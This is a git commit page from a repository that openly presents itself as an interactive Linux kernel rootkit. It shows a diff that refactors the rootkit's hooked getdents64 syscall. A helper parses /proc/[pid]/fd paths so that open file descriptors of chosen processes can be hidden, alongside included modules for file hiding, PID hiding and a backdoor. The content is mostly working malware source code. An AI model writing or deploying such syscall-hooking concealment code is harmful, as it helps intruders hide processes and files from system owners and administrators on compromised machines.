linux-rootkit

Feature-rich interactive rootkit that targets Linux kernel 4.19, accompanied by a dynamic kernel memory analysis GDB plugin for in vivo introspection (e.g. using QEMU)
git clone git://git.deurzen.net/linux-rootkit
Log | Files | Refs

commit 31e98138b510307507cb0c689748505ade0434b4
parent 01d4d42c2c02fb10a673332190cace9c36d9acd3
Author: Tizian Leonhardt <tizianleonhardt@web.de>
Date:   Sat,  5 Dec 2020 19:19:56 +0100

Offload may_fd to avoid getdents bloat

Diffstat:
Msrc/hideopen.c | 55+++++++++++++++++++++++++++++++++++++++++++++++++++++++
Msrc/hideopen.h | 3+++
Msrc/hook.c | 46++++------------------------------------------
3 files changed, 62 insertions(+), 42 deletions(-)

diff --git a/src/hideopen.c b/src/hideopen.c @@ -1,8 +1,12 @@ #include <linux/slab.h> #include <linux/fd.h> +#include "common.h" #include "hook.h" #include "hideopen.h" +#include "hidepid.h" + +const char *dir_sep = "/"; fd_list_t hidden_fds = { .fd = -1, @@ -12,6 +16,57 @@ fd_list_t hidden_fds = { fd_list_t_ptr hidden_fds_tail = &hidden_fds; +//Returns pid on success, -1 on failure +pid_t +may_fd(struct file *dirfile) +{ + pid_t tmp = -1; + char *buf; + + buf = kzalloc(512, GFP_KERNEL); + + if(dirfile && !strcmp(dirfile->f_path.dentry->d_name.name, "fd")) { + char *path = d_path(&dirfile->f_path, buf, 512); + + if(!IS_ERR(path)) { + char *sub; + char *cur = path; + + /** + * In the correct directory, the tokens are as follows: + * {NULL, proc, [PID], fd} + * We also don't want the task directory, so the third + * token should be fd, not task + **/ + int i = 0; + + while((sub = strsep(&cur, dir_sep))) { + switch(i++) { + case 1: + if(strcmp(sub, "proc")) + goto leave; + break; + case 2: + tmp = PID_FROM_NAME(sub); + break; + case 3: + if(!strcmp(sub, "fd")) { + kfree(buf); + return tmp; + } else + goto leave; + default: + break; + } + } + } + } + + leave: + kfree(buf); + return -1; +} + void clear_hidden_fds(void) { diff --git a/src/hideopen.h b/src/hideopen.h @@ -12,8 +12,11 @@ typedef struct fd_list { extern fd_list_t hidden_fds; +pid_t may_fd(struct file *dirfile); + void clear_hidden_fds(void); bool list_contains_fd(fd_list_t_ptr, int); + fd_list_t_ptr find_fd_in_list(fd_list_t_ptr, int); fd_list_t_ptr add_fd_to_list(fd_list_t_ptr, int); fd_list_t_ptr remove_fd_from_list(fd_list_t_ptr list, int fd); diff --git a/src/hook.c b/src/hook.c @@ -17,12 +17,11 @@ #include "filehide.h" #include "backdoor.h" #include "hidepid.h" +#include "hideopen.h" #include "read.h" extern rootkit_t rootkit; -const char *dir_sep = "/"; - void **sys_calls; atomic_t read_install_count; @@ -204,7 +203,7 @@ g7_getdents64(const struct pt_regs *pt_regs) dirent64_t_ptr dirent = (dirent64_t_ptr)pt_regs->si; long ret = sys_getdents64(pt_regs); - bool may_fd = 0; //We only need /proc/[pid]/fd dirs + bool is_fd = 0; //We only need /proc/[pid]/fd dirs struct file *dirfile = fget(fd); pid_t fd_pid; @@ -214,45 +213,8 @@ g7_getdents64(const struct pt_regs *pt_regs) if (copy_from_user(kdirent, dirent, ret)) goto yield; - if(dirfile && !strcmp(dirfile->f_path.dentry->d_name.name, "fd")) { - char *buf = kzalloc(512, GFP_KERNEL); - char *path = d_path(&dirfile->f_path, buf, 512); - - if(!IS_ERR(path)) { - char *sub; - char *cur = path; - - /** - * In the correct directory, the tokens are as follows: - * {NULL, proc, [PID], fd} - * We also don't want the task directory, so the third - * token should be fd, not task - **/ - int i = 0; - - while((sub = strsep(&cur, dir_sep))) { - switch(i++) { - case 1: - if(strcmp(sub, "proc")) - goto leave; - break; - case 2: - fd_pid = PID_FROM_NAME(sub); - break; - case 3: - if(!strcmp(sub, "fd")) - may_fd = 1; - else - goto leave; - default: - break; - } - } - - leave: - kfree(buf); - } - } + if((fd_pid = may_fd(dirfile)) != -1) + is_fd = 1; atomic_inc(&getdents64_count);